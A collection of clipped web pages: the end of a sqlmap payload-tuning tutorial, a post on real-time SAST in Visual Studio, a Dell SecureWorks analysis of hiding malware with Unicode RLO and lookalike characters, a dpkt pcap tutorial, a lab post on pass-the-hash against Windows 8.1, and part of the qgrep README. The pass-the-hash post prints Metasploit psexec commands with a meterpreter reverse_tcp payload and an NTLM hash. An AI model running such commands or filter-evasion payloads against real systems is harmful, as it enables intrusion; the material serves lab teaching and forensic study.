  3. Run the detection again, however this time use the -v3 verbose option on so you can see the payloads being sent. Scroll through the output, looking for an injection string thats similar in layout to the POC developed earlier, which will cause the response you require. At this point you may see the names of likely looking payloads that are not being sent here because the --level or --risk settings are too low. If so, raise these values and try again and see if you can find an appropriate payload that comes as close as possible to what you need.
  

  4. If at this point you still do not see a payload that looks like it will be able to provide the output needed to make the injection succeed, you will need to write your own. Pick an example from the xml file named after the appropriate injection technique thats as close as possible to what you need, and modify as required. The earlier section on custom test payloads contains references that help describe this process, and a future post in this series will also have a specific example.
  

  5. Once sqlmap is sending a payload that is logically similar to your POC, the goal is to now tweak the relevant sqlmap options to get the request syntactically correct for the injection. At this point you will want to set the --test-filter option in order to send only your chosen payload, and try and determine what needs to change with the payload to make it work. By "work" I mean that you must be creating injected queries that are syntactically correct and the results must not involve database errors, displayed to you or otherwise, UNLESS you are doing error based injection and that error is displayed to you and contains your chosen content. This troubleshooting may involve taking the payload from the sqlmap verbose output and pasting it into your manual testing tool \(i.e. Burp Suite Professional's Repeater\) to see if it returns a syntactically correct result. Sometimes however, you can just eyeball it and tell where there are some obvious issues. The next step provides guidance on how to fix syntax issues.
  

  6. If the payload being sent is resulting in a SQL query that is NOT syntactically correct, there are 3 primary reasons for this. Work out which issue \(or combination of issues\) is causing the problem, and work to resolve these as discussed below before moving on to the next step.
  

     * The first possible reason is that the prefix and suffix have been set incorrectly \(either manually by you or automatically by sqlmap\). You know this is the case if the text used at the start of the payload to break into the injection, or the text at the end used to terminate it, are syntactically different from your POC. Correctly set the suffix and prefix options to fix this - the right values should be easy to identify as they will be included in your manual POC. Be aware here that certain test payloads are configured to place random values at the start of the payload output. If you set the --prefix option and don't see the configured string at the very start of the payload output you are using in sqlmap's verbose output, you know that the payload configuration itself is the cause \(specifically, the where option in the payload configuration\), which is the second possible reason.
     * Second, the definition of the test payload itself is causing an error for some reason. I have seen the sqlmap default payloads break in some cases, but the most likely way for this to occur is when you have written the payload yourself. If the text or logic or the placement of the random values used by sqlmap in the meat of the payload is causing the issue, the problem might be with the definition of the test payload \(or you might be focusing on using the wrong payload and another one you have overlooked is more appropriate\). Modify the payload, try a different one, or create a your own custom new one to fix this.
     * Third, there is some sort of filter implemented in the space between when you send the request and when the resultant query reaches the database that is causing an otherwise syntactically correct payload to be rejected. This is where tamper scripts can be used to \(hopefully\) filter out or replace the offending characters. Don't forget to bump your verbosity setting to -v4 in order to see HTTP requests in the output if you need to troubleshoot these. You can either use one of the existing tamper scripts \(if a suitable one exists\) or write your own. If the filtering is particularly prohibitive, you may need to consider writing a payload that makes use of inventive SQL to avoid your given bad patterns.
  

  7. Once your queries are syntactically correct, the next step is ensuring that sqlmap can correctly interpret the results it is receiving \(and, in the case of second order injections, that it is receiving the correct results at all\!\). Setting aside second-order injections for the moment \(we will cover this in more detail in a future example\), sqlmap is generally pretty good at this for all of its techniques other than boolean blind injection. For these, you will often need to tell it how to distinguish True from False responses. This is where the detection options such as --string, --not-string and --regex discussed earlier come into play - use these to help sqlmap identify the appropriate responses.
  

  
  
Once you have completed these steps sqlmap should have correctly detected your
vulnerability and be ready to exploit it.  
  
This completes this entry in the series, stay tuned for the next post, where I
will show some examples.

Posted by Stephen Bradshaw at 6:25 PM <img src='img/3975_icon18_email.gif'
width='18' height='13' />

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: prefix, sql injection, sqlmap, sqlmap tamper script, sqlmap test
payload, sqlmap troubleshooting, suffix

  

  *[6:25 PM]: 2017-01-05T18:25:00+11:00

# Dinis Cruz blog: This is how we have to show security vulnerabilities to
developers \(in real time as they are created\)

**Created:**| _6/26/2012 9:26:34 AM_  
---|---  
**Updated:**| _6/26/2012 9:26:34 AM_  
**Author:**| __  
**Tags:**| _vulnerability programming_  
  

### This is how we have to show security vulnerabilities to developers \(in
real time as they are created\)

I posted a PoC today that represents my vision for O2 and what I have been
trying to do for the past 5 years.  

  

You can see the video at Real-time Vulnerability Creation Feedback inside
VisualStudio \(with Greens and Reds\) where every time the user makes a change
to the code there is an auto-compilation \(using Roslyn's C\# compiler\) and a
SAST scan \(using Cat.NET\)

  

What I like the most about this, is that I now get to think about _'the best
workflow to present developers the security guidance they need'._

  

Although this PoC is quite agressive \(I do a compilation and scan on every
keystoke which is a bit OTT\), here is another video that shows a bigger
compilation+scan on save: Real-Time C\# Solution Compilation and Security
Scanning \(using Roslyn and Cat.NET\)

# How to Hide Malware in Unicode | Research Blog | Dell SecureWorks
**Created:**| _10/25/2013 9:30:16 AM_  
---|---  
**Updated:**| _10/25/2013 9:31:00 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis unicode_  
  

# **H** ow to Hide Malware in Unicode****

### What is Unicode**?**

Unicode character sets are used throughout Windows systems, largely to make it
easier to present the same information \(warning messages, alerts, notices,
etc**.**\) in different languages. Windows applications, including the Windows
Explorer shell, understand Unicode character sets, control characters, and
know how to present them to the user**.** This functionality can also be
subverted for malicious purposes in order to hide the presence of malware,
often in plain sight**.**

According to Microsoft, Unicode is a “world-wide character encoding standard”
that “simplifies software localization and improves multilingual text
processing”**.** The various available encodings allow for the use of a number
of scripts, languages, as well as the presentation of scientific and technical
symbols**.** The use of Unicode encoding provides a great deal of
functionality on Windows systems. As with many other instances within the
information security arena, valid and needed functionality within products can
be, and has been, subverted and abused by those with malicious intent**.**

The key to subverting a system and remaining hidden through the use of Unicode
character encoding is that computers “see” things in terms of 1s and 0s and do
not make decisions regarding the inherent value of information they display to
the user**.** This trait allows a cyber attacker to manipulate what the user
\(a corporate employee, home user, member of the IT staff, etc**.**\) sees,
thereby directing their decision-making process**.** If casual observation
reveals that nothing is amiss, most users \(and some analysts\) will simply
continue to use the system and look no further**.**

### Malware in Unicode through Character Replacement****

Within the Unicode character space there are a number of characters that
visually look the same when displayed to the user via Windows Explorer,
although on a binary level their encoding is different**.**

Microsoft Windows systems utilize a file named “hosts” as one of the initial
resources for the name resolution of systems on the network, or translating
the name of a destination system to an IP address**.** The use of this file
can be beneficial from a networking perspective, but it can also be used to
subvert the system**.** For example, if you’re a parent and do not want your
middle-schooler to visit certain websites, one way to prevent that from
happening is to add entries in the hosts file that instruct the operating
system that the IP address of the website is 127**.** 0.0**.** 1, or “local
host”. The web browser attempts to connect back to the student’s system when
requesting pages from the site, thereby disabling access to the site**.**

CTU analysts have observed malware copying the hosts file to another file in
the same directory, changing only the “o” in the name to another Unicode
character that, when displayed by Windows Explorer, looks exactly like an
“o”**.** The malware then modifies the original hosts file, often redirecting
operating systems and anti-virus application updates to either the local host
\(effectively disabling the protections offered by the updates\) or to a
malicious site**.** It then sets attributes on the modified file that make it
difficult to view when the directory is displayed in Windows Explorer**.**
From a visual perspective, on a live, running system, it looks as if there is
only one file named “hosts” in the directory**.** However, the operating
system sees the two different files, because the names are different at a
level where most users do not have visibility**.** The letter chosen to
replace in the name is irrelevant; as long as there is a visually identical
character in another encoding scheme, any character \(or combination of
characters\) can be replaced in this manner**.**

### Malware in Unicode through RLO Control Character****

The “right-to-left override” \(RLO\) Unicode control character can be used to
great effect from a malicious perspective**.** This control character
instructs the display mechanism \(Windows Explorer, the Registry Editor,
etc**.**\) to display the characters after the control character in reverse
order**.**

Using the previous example of the hosts file, adding an RLO control character
adds an additional character to the name; even though the user would see five
characters, a sixth one is added, so at that point, the operating system would
deem this to be a different file**.** Adding the RLO control character to the
beginning of the name causes the file name to be displayed as “stsoh”, which
would be easily recognized as incorrect**.** However, adding the RLO control
character after the “o” would result in the name being displayed as “hosts”,
which would not appear to be unusual to a casual user**.** But again, the
operating system would see this as completely different file name**.**

The same use of the RLO control character works for other strings, as well, in
particular Windows Registry key and value names**.** These strings are stored
in their appropriate structures as ASCII strings, but the tools used to view
them, such as the Registry Editor, are capable of handling Unicode
strings**.** For example, an intruder with the appropriate privileges can
create a Windows service using the name of a legitimate service, but reversing
it**.** Creating a service name that starts with the RLO control character and
continues with “hctefrepuS” will result in “Superfetch” \(a legitimate service
on Windows 7 systems\) being displayed by the Registry Editor \(information
about the configuration of Windows services is maintained in the Windows
Registry\)**.** As with file names, all of the characters following the RLO
control character will be displayed in a reversed direction**.**

An exploration of new Windows artifacts with respect to the use of Unicode
characters, particularly as they apply to the digital forensic analysis of
Windows systems, uncovered an article on the Microsoft Malware Protection
Center website describing how malware authors make use of the Unicode RLO
control character**.** Using the RLO control character \(Unicode “202E”\)
causes the service name to display as a legitimate Windows service, which
helps the malware remain persistent**.** Behind the scenes, though, the
computer ‘sees’ a different name**.**

Researchers interested in host-based artifacts and analysis are often curious
about the information not included in malware write-ups provided by antivirus
\(AV\) vendors**.** AV vendors tend to focus on the aspects of detection and
analysis that they’re most familiar with, which often leaves room for
exploration by information security researchers interested in areas such as
host-based digital forensic analysis and incident response \(DFIR\)**.** For
example, how could the RLO technique be detected during large-scale incident
response in an enterprise environment**?** What about malware detection within
a forensic image acquired from a Windows system**?**

### How Malware can be Hidden in RLO Control Character****

Some malware variants will create a Windows Registry key for persistence,
which can include the RLO control character in the registry key name**.** One
approach to replicate and illustrate this is to open the Registry Editor,
create a new registry key named “etadpupg” \(that is, “gpupdate” backwards\)
under the Software key in a separate \(NTUSER.DAT\) registry hive, and then
rename it to use the RLO control character**.** To do this, highlight the
registry key in the Registry Editor \(RegEdit\), right-click the key name, and
choose “Insert Unicode control character”, as illustrated in Figure 1**.**

<img src='img/Temp2_4076.jpg' alt='Malware Analysis RLO Unicode Control
Character' />

_Figure 1**.** Adding the RLO control character to a registry key name**.**_

Next, select the RLO control character, and the key name becomes
“gpupdate”**.** Follow the same process when adding a string value of the same
name beneath the key**.** This procedure does not add any data to the value.
At this point, the new key appears as “HKCU\Software\gpupdate”, with the
“gpupdate” value beneath the key**.**

A forensic investigation can reveal how various freeware forensics tools
display the newly created registry key and value**.** The first step is to add
the system’s C:\ volume to the AccessData FTK \(Forensic Toolkit\) Imager
application as an evidence item, and then export the NTUSER.DAT hive from the
researcher’s profile**.**

Figure 2 shows the registry key opened in MiTeC Windows Registry Recovery
\(WRR\) version 1**.** 5**.** 2, which displays the key name differently than
RegEdit**.** Using WRR may not be convenient because an analyst needs to load
and examine each hive individually, but it does a good job of indicating that
something is amiss**.**

<img src='img/Temp2_4075.jpg' alt='Malware Analysis RLO Registry Key MiTeC' />

_Figure 2**.** Displayed registry key in MiTeC WRR v1**.** 5.2._

Figure 3 shows what happens when the same hive file is opened in TZWorks yaru
\(Yet Another Registry Utility, version 1**.** 17\). The results from yaru are
unusual, and the discrepancy in the displayed name clearly indicates that
something is amiss**.** Similar to WRR, yaru requires that an analyst
individually load and examine each registry hive, which is a time-intensive
process**.** Analysts would not typically use this approach for enterprise-
wide response and analysis, but the comparison illustrates how the different
host-based analysis tools display the obfuscated information**.**

<img src='img/Temp2_4074.jpg' alt='Malware Analysis RLO Registry Key Yaru' />

_Figure 3**.** Displayed registry key in TZWorks yaru v.1.17**.**_

The next step is to display the list of HKCU\Software subkey names using a
RegRipper plugin**.** RegRipper relies on James MacFarlane’s
Parse::Win32Registry Perl module, which uses Unicode code pages to translate
the key \(and value\) names for output and display**.** Running the RegRipper
“rlo.pl” plugin against the test hive file produces the output illustrated in
Figure 4**.**

<img src='img/Temp2_4077.jpg' alt='Malware Analysis RLO Unicode Script' />

_Figure 4**.** Key name displayed by rlo.pl Perl script._

The code within the plugin looks for key and value names that contain the
hexadecimal character “2E”, which is the result of RLO control character being
translated via the Parse::Win32Registry Perl module**.** As this character is
also the hexadecimal representation for a period, the code checks to see if
the character at that position within the original name string is, in fact, a
period**.** If not, the character at that position is assumed to be the
remnants of the RLO control character**.** As illustrated in figure 4, the
code replaces the control character with a period in the name, displays the
name, and also displays the name as it would appear via the Registry Editor
\(with the characters following the control character in reverse order\)**.**

This detection method can be extremely useful in malware detection and
intrusion discovery, particularly during analysis of host-based artifacts**.**
CTU analysts have observed that some malware authors will prepend the RLO
control character to the key name**.** Future scenarios might bypass
conventional detection techniques by using variations of the RLO control
character**.** For example, rather than creating a Windows service for
persistence, malware authors could use the ubiquitous Run key with a value
name that is prepended by the control character**.** Or, rather than
prepending the key or value name, the control character could be inserted at
any point in the name; using the example in this article, “gpu + U\(202E\) +
etadp” \(this example is illustrated in figure 4\)**.** Analysts and incident
responders should avoid the trap of only examining one use case**.** Instead,
look at multiple uses of this technique and incorporate the appropriate
measures into the analysis process**.**

Dell SecureWorks CTU analysts are aware of this issue and how it relates to
the information security of our customers, and have incorporated detection
measures into analytic processes and methodologies**.**

  

# jon.oberheide.org - blog - dpkt tutorial \#2: parsing a pcap file

**Created:**| _6/22/2009 1:03:59 PM_  
---|---  
**Updated:**| _6/22/2009 1:04:06 PM_  
**Author:**| __  
**Tags:**| _packet-analysis Tutorials_  
  

# dpkt Tutorial \#2: Parsing a PCAP File

As we showed in the first dpkt tutorial, dpkt makes it simple to construct
packets. dpkt is equally useful for parsing packets and files, so in this
second tutorial we will demonstrate parsing a PCAP file and the packets
contained within it.

dpkt is a sweet framework for creating and parsing packets. While dpkt doesn’t
have much documentation, once you get the hang of using one module, the rest
fall into place fairly easily. I’ll be doing a number of dpkt tutorials with
simple tasks in hopes of providing some “documentation by example”. If you
have any tasks you’d like to see done in dpkt, drop me a line.

In this tutorial, we’ll not only show how to parse the raw PCAP file format,
but also how to parse the packets contained in the PCAP file. Let’s get
started\!

Let’s parse a previously captured PCAP file, test.pcap, that contains some
HTTP sessions. If we look at the dpkt/pcap.py module, we see that it offers a
Reader class that takes a file object and exposes a similar interface to
pypcap for reading records from the file. Let’s first open test.pcap with the
Reader class:

[code]

    f = open('test.pcap')
    pcap = dpkt.pcap.Reader(f)
    
[/code]

We can now interate through the pcap object and access each packet contained
in the dump. For example, we can print out the timestamp and packet data
length of each record:

[code]

    >>> for ts, buf in pcap:
    >>>     print ts, len(buf)
    1220901348.61 66
    1220901348.68 66
    ...
    
[/code]

Of course, it would be a lot more useful to parse the packet data into a more
friendly, usable form. Using dpkt, we can simply pass a raw buffer to the
appropriate dpkt class and have its contents automatically parsed and decoded
into friendly python objects:

[code]

    for ts, buf in pcap:
        eth = dpkt.ethernet.Ethernet(buf)
    
[/code]

Passing the packet data to dpkt’s Ethernet class will parse and decode it into
the eth object. Since dpkt’s Ethernet class also contains some extra magic to
parse higher layer protocols that are recognized, we see that both the IP and
TCP layer information has been decoded as well:

[code]

    >>> print eth
    Ethernet(src='\x00\x1a\xa0kUf', dst='\x00\x13I\xae\x84,', data=IP(src='\xc0\xa8\n\n',
    off=16384, dst='C\x17\x030', sum=25129, len=52, p=6, id=51105, data=TCP(seq=9632694,
    off_x2=128, ack=3382015884, win=54, sum=65372, flags=17, dport=80, sport=56145)))
    
[/code]

As we can see from the output, eth is the Ethernet object, pkt.data is the IP
object, and pkt.data.data is the TCP object. We can assign references to these
objects in a more friendly manner:

[code]

    ip = eth.data
    tcp = ip.data
    
[/code]

We can then examine the attributes of the various objects as usual. For
example, we can look at the source and destination ports of the TCP header:

[code]

    >>> print tcp.sport
    56145
    >>> print tcp.dport
    80
    
[/code]

Of course, since we know that this packet dump contains HTTP sessions, we may
also want to parse beyond the TCP layer and decode the HTTP requests. To do
so, we’ll ensure that our destination port is 80 \(indicating a request as
opposed to a response\) and that there is data beyond the TCP layer available
for parsing. We’ll use dpkt’s HTTP decoder to parse the data:

[code]

    if tcp.dport == 80 and len(tcp.data) > 0:
        http = dpkt.http.Request(tcp.data)
    
[/code]

Once the HTTP payload has been parsed, we can examine its various attributes:

[code]

    >>> print http.method
    GET
    >>> print http.uri
    /testurl
    >>> print http.version
    1.1
    >>> print http.headers['user-agent']
    Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5)
    
[/code]

For the purposes of our tutorial program, we’ll just output the http.uri
attribute.

And that concludes our tutorial for parsing a PCAP file and the packets within
it. In just 10 simple lines of python, we’ve created a powerful tool that
reads the raw PCAP file, parses and decodes the ethernet, IP, TCP, and HTTP
layers, and prints out the URI of the HTTP requests.

The full python script for this tutorial follows:

[code]

    #!/usr/bin/env python
    
    import dpkt
    
    f = open('test.pcap')
    pcap = dpkt.pcap.Reader(f)
    
    for ts, buf in pcap:
        eth = dpkt.ethernet.Ethernet(buf)
        ip = eth.data
        tcp = ip.data
    
        if tcp.dport == 80 and len(tcp.data) > 0:
            http = dpkt.http.Request(tcp.data)
            print http.uri
    
    f.close()
    
[/code]

# Pass the Hash on Windows 8.1

**Created:**| _2/23/2014 1:15:45 PM_  
---|---  
**Updated:**| _2/23/2014 1:15:45 PM_  
**Author:**| __  
**Tags:**| _hashes Metasploit_  
  

# **P** ass the Hash on Windows 8.1****

Microsoft claims that the Pass the Hash exploit has finally been patched in
Windows 8**.** 1, as trumpeted in Oct, 2013:

http://www.infoworld.com/d/security/windows-81-stops-pass-the-hash-
attacks-227875

The man who made the patch will be speaking next week at CCSF**.**

But when I posted this on Twitter, @obscuresec @passingthehash and @jameslyne
engaged me in lively discussion, claiming PtH still works**.**

And, with their help, I got it working two ways**.**

# 1\. Simple Demo on a Workgroup****

## Setup****

I made a clean install of Windows 8**.** 1 into a virtual machine, and made
these adjustments, as recommended here:

http://colesec.inventedtheinternet.com/hacking-windows-passwords-with-pass-
the-hash/

1**.** In
HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters,
make sure "RequireSecuritySignature" is set to 0 \(it was\)

2**.** In
HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,
add a new DWORD \(32-bit\) called "LocalAccountTokenFilterPolicy" and set it
to 1

3**.** Disable real-time protection in Windows Defender.

From Kali Linux, perform a Pass-the-Hash attack with this command, adjusting
the IP addresses to be correct:

`**msfcli msfcli /usr/share/metasploit-
framework/lib/msf/core/exploit/windows/smb/psexec
PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192**.** 168.119.241 LPORT=443
RHOST=192.168**.** 119.248 SMBUser=Admin2
SMBPass=aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 E
**`

It works, as shown below:

<img src='img/Temp2_6151.png' />

# 2**.** In a Domain****

Here's what I did:

1\. Make a Server 2012 domain controller as explained here:

> http://samsclass.info/345/proj10/p19-S12dc.htm
2**.** Join Win 8.1 machine to domain

3\. In "Network and Sharing Center", click "Change advanced sharing
settings"**.** In the Domain profile, turn on "network discovery" and "file
and printer sharing"**.**

4\. Turn off Windows Firewall for Domain profile

5**.** In Kali:

> **``**
[code]

>     **cd
>  
>     cd .msf4/modules
>  
>     mkdir exploits
>  
>     cd exploits
>  
>     mkdir windows
>  
>     cd windows
>  
>     mkdir powershell
>  
>     cd powershell
>  
>     wget https://raw.github.com/jakxx/metasploit-
> framework/powershell_psexec/modules/exploits/windows/powershell/powershell_psexec**.**
> rb
>  
>     msfconsole
>  
>     use exploit/windows/powershell/powershell_psexec
>     set RHOST 192**.** 168.119.248
>     set LHOST 192.168**.** 119.241
>     set ARCH x86
>     set SMBDomain sam.com
>     set SMBUser Administrator
>     set SMBPASS
> 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42
>     exploit
>     **
[/code]

> **``**
As you can see below, it worked**\!**

<img src='img/Temp2_6149.png' />

<img src='img/Temp2_6150.png' />

* * *
Posted 6:36 pm 2-22-14 by Sam Bowne  
Domain version added 8:35 pm 2-22-14 ****

# zeux/qgrep

**Created:**| _5/10/2019 8:29:31 AM_  
---|---  
**Updated:**| _5/10/2019 8:29:31 AM_  
**Author:**| __  
**Tags:**| _code-review auditing_  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='60'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='893' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />qgrep
<img
src='img/68747470733a2f2f7472617669732d63692e6f72672f7a6575782f71677265702e7376673f6272616e63683d6d6173746572'
width='90' height='20' /> <img
src='img/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f343976353068653170796863357831612f6272616e63682f6d61737465723f7376673d74727565'
width='106' height='20' />

qgrep is an implementation of grep database, which allows you to perform
grepping \(i.e. full-text searches using regular expressions\) over a large
set of files. Searches use the database which is a compressed and indexed copy
of the source data, thus they are much faster compared to vanilla grep -R.

qgrep runs on Windows \(Vista+, XP is not supported\), Linux and MacOS X.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='61'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='897' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Basic
setup

The easiest way to start using qgrep is to use the init command:

[code]

    qgrep init <project> <project-path>
    
[/code]

i.e.

[code]

    qgrep init mygame D:\MyGame\Source
    
[/code]

It will create the project configuration file ~/.qgrep/mygame.cfg that will
index all source files \(from a certain predefined set of extensions\) in
Source folder, including subfolders. After that you have to update the
database:

[code]

    qgrep update mygame
    
[/code]

And start using it:

[code]

    qgrep search mygame main\s*\(
    
[/code]

Note that you'll have to update the database from time to time in order to
keep the search results current; you can run `qgrep update mygame` as a
scheduled task or manually.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='62'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='904' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Projects

Qgrep stores one database for each project, where project is a collection of
text files. Projects are set up using configuration files, which normally live
in ~/.qgrep folder \(you can store projects in other folders, but you'll have
to specify the full project path for all commands instead of project name\).

Note: ~ on Windows means the home directory as set by HOME or HOMEPATH
environment variables \(usually it's the profile directory,
C:\Users\UserName\)

Each project consists of the configuration file with .cfg extension \(this is
a text file that specifies the set of files to be put into the database\), and
files with other extensions \(i.e. .qgd, .qgf\), that contain the database
itself.

Projects have short names that are essentially relative paths from .qgrep
folder without the extension - i.e. project 'foo' corresponds to project
configuration file ~/.qgrep/foo.cfg. Project names can be hierarchical - i.e.
foo/bar.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='63'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='910' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Project list

Most commands \(except init\) accept a project list. It is a comma-separated
list of items, where each item can be one of:

[code]

    *     - all projects in ~/.qgrep, including subprojects (hierarchical names)
    name  - project with a specified name, i.e. mygame
    name/ - all subprojects of the project name, i.e. foo/ includes foo/bar (but
            does not include foo)
    path  - full path to a project .cfg file for projects outside ~/.qgrep
    
[/code]

For example:

[code]

    mygame,mygame/art - include ~/.qgrep/mygame.cfg and ~/.qgrep/mygame/art.cfg
    *,D:\mygame\source.cfg - all projects in ~/.qgrep and D:\mygame\source.cfg
    
[/code]

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='64'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='914' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Project configuration file format

Project configuration files are line-based text files, which specify a nested
set of groups, where each group can have a set of file paths, a set of folder
paths that are scanned hierarchically, and a set of include/exclude regular
expressions, that are used to filter contents of path scanning. Here is a
complete example with all available syntax:

[code]

    include \.(cpp|c|hpp|h)$
    # this is a comment
    
    group
        path D:\MyGame\Thirdparty
        include \.(py|pl)$
        exclude ^boost/
    endgroup
    
    group
        path D:\MyGame\Sources
        include \.hlsl$
    endgroup
    
    file D:\MyGame\designdoc.txt
    
    # note how you can omit 'file'
    D:\MyGame\technicaldesigndoc.txt
    
[/code]

In this example there are two groups in root group; one contains all files
from Thirdparty folder that have one of cpp, c, hpp, h, py, pl extensions
\(note that for the file to be included, it has to match one of the include
patterns specified in the current group or one of its ancestors\) with the
exception of the entire boost/ folder; the second group contains all files
from Sources folder that have one of cpp, c, hpp, h, hlsl extensions. Also the
root group contains two more files, designdoc.txt and technicaldesigndoc.txt.

Since you can omit 'file' prefix for single file names, a file list works as a
valid project configuration file.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='65'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='919' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Updating the project

Updating the project is done with

[code]

    qgrep update <project-list>
    
[/code]

This updates the project by reading the project configuration file for all
specified projects, converting it to file list, then reads all files from disk
and puts them to the database. For large projects, both reading the file list
and reading the file contents takes a bit of time, so be patient.

Update tries to reuse the information from the existing database \(if
available\) to speed up the process. The implementation relies on file
metadata, and will incorrectly preserve the old contents if the file contents
changed without changing the modification time or file size \(however, this is
extremely rare, so is probably not a big concern\). You can use `qgrep build`
instead of `update` to force a clean build.

Remember that you can use \* as a shorthand for all projects: \`qgrep update
\*' updates everything.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='66'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
